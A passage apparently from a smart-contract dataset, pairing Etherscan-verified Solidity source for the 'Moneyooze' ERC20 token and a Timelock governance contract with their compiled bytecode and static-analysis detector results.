604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006103bb610810565b15156103c657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561048e57600080fd5b505af11580156104a2573d6000803e3d6000fd5b505050506040513d60208110156104b857600080fd5b810190808051906020019092919050505015156104d457600080fd5b505050565b600460009054906101000a900460ff1681565b600080600354600460009054906101000a900460ff16915091509091565b610512610876565b151561051d57600080fd5b6002600460006101000a81548160ff0219169083600281111561053c57fe5b0217905550565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fa6f3936336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561060557600080fd5b505af1158015610619573d6000803e3d6000fd5b505050506040513d602081101561062f57600080fd5b8101908080519060200190929190505050151561064b57600080fd5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b610697610810565b15156106a257600080fd5b600160028111156106af57fe5b600460009054906101000a900460ff1660028111156106ca57fe5b1415156106d657600080fd5b6002600460006101000a81548160ff021916908360028111156106f557fe5b0217905550565b610704610810565b151561070f57600080fd5b8060038190555050565b60035481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61074d610876565b151561075857600080fd5b6000600460006101000a81548160ff0219169083600281111561077757fe5b0217905550565b610786610810565b151561079157600080fd5b60028081111561079d57fe5b600460009054906101000a900460ff1660028111156107b857fe5b1415156107c457600080fd5b6001600460006101000a81548160ff021916908360028111156107e357fe5b0217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061081a610876565b8061087157506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b905090565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fa6f3936336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561093957600080fd5b505af115801561094d573d6000803e3d6000fd5b505050506040513d602081101561096357600080fd5b8101908080519060200190929190505050915050905600a165627a7a72305820a6bfb9a4a8b8e83382323ab80082381860ea5ef6e8ced5b260aaedf097d671520029a165627a7a72305820fb823848ccbbe1fd0487d077845ed4e95ae71083a0c1863149097cb9bd227e390029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,024 |
0x1917da8e5771364f00887f03c60532c39ae7b1fb
|
/**
*Submitted for verification at Etherscan.io on 2021-09-14
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Moneyooze' contract
//
// Symbol : MYE
// Name : Moneyooze
// Total supply: 10 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract MYE is BurnableToken {
string public constant name = "Moneyooze";
string public constant symbol = "MYE";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 10000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a11565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e68565b6040518082815260200191505060405180910390f35b6103b1610eb1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0e565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e2565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112de565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611365565b005b6040518060400160405280600981526020017f4d6f6e65796f6f7a65000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a629896800281565b60008111610a1e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6a57600080fd5b6000339050610ac182600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b19826001546114b490919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce8576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7c565b610cfb83826114b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f4d5945000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4957600080fd5b610f9b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117382600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c057fe5b818303905092915050565b6000808284019050838110156114dd57fe5b809150509291505056fea2646970667358221220ea245d096179beca2498fa88ade49267c3b5ba6a90d53edddddfca916d167eaf64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,025 |
0x57a8865cfB1eCEf7253c27da6B4BC3dAEE5Be518
|
/**
*Submitted for verification at Etherscan.io on 2021-05-24
*/
// SPDX-License-Identifier: NONE
pragma solidity 0.6.12;
// Part: SafeMath
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: Timelock.sol
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ValueReceived(address user, uint amount);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 2 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
/**
* @notice Construct a new TimeLock contract
* @param admin_ - contract admin
* @param delay_ - delay before successful proposal
**/
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
receive() external payable {
emit ValueReceived(msg.sender, msg.value);
}
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
0x6080604052600436106100c65760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e214610627578063e177246e1461063c578063f2b0653714610666578063f851a440146106a457610107565b80636a42b8f8146105e85780637d645fab146105fd578063b1b43ae51461061257610107565b80630825f38f1461010c5780630e18b681146102c157806326782247146102d85780633a66f901146103095780634dd18bf514610468578063591fcdfe1461049b57610107565b36610107576040805133815234602082015281517f7e71433ddf847725166244795048ecf3e3f9f35628254ecbf736056664233493929181900390910190a1005b600080fd5b61024c600480360360a081101561012257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561015157600080fd5b82018360208201111561016357600080fd5b803590602001918460018302840111600160201b8311171561018457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101d657600080fd5b8201836020820111156101e857600080fd5b803590602001918460018302840111600160201b8311171561020957600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106b9915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028657818101518382015260200161026e565b50505050905090810190601f1680156102b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102cd57600080fd5b506102d6610bb9565b005b3480156102e457600080fd5b506102ed610c55565b604080516001600160a01b039092168252519081900360200190f35b34801561031557600080fd5b50610456600480360360a081101561032c57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561035b57600080fd5b82018360208201111561036d57600080fd5b803590602001918460018302840111600160201b8311171561038e57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103e057600080fd5b8201836020820111156103f257600080fd5b803590602001918460018302840111600160201b8311171561041357600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c64915050565b60408051918252519081900360200190f35b34801561047457600080fd5b506102d66004803603602081101561048b57600080fd5b50356001600160a01b0316610f66565b3480156104a757600080fd5b506102d6600480360360a08110156104be57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104ed57600080fd5b8201836020820111156104ff57600080fd5b803590602001918460018302840111600160201b8311171561052057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081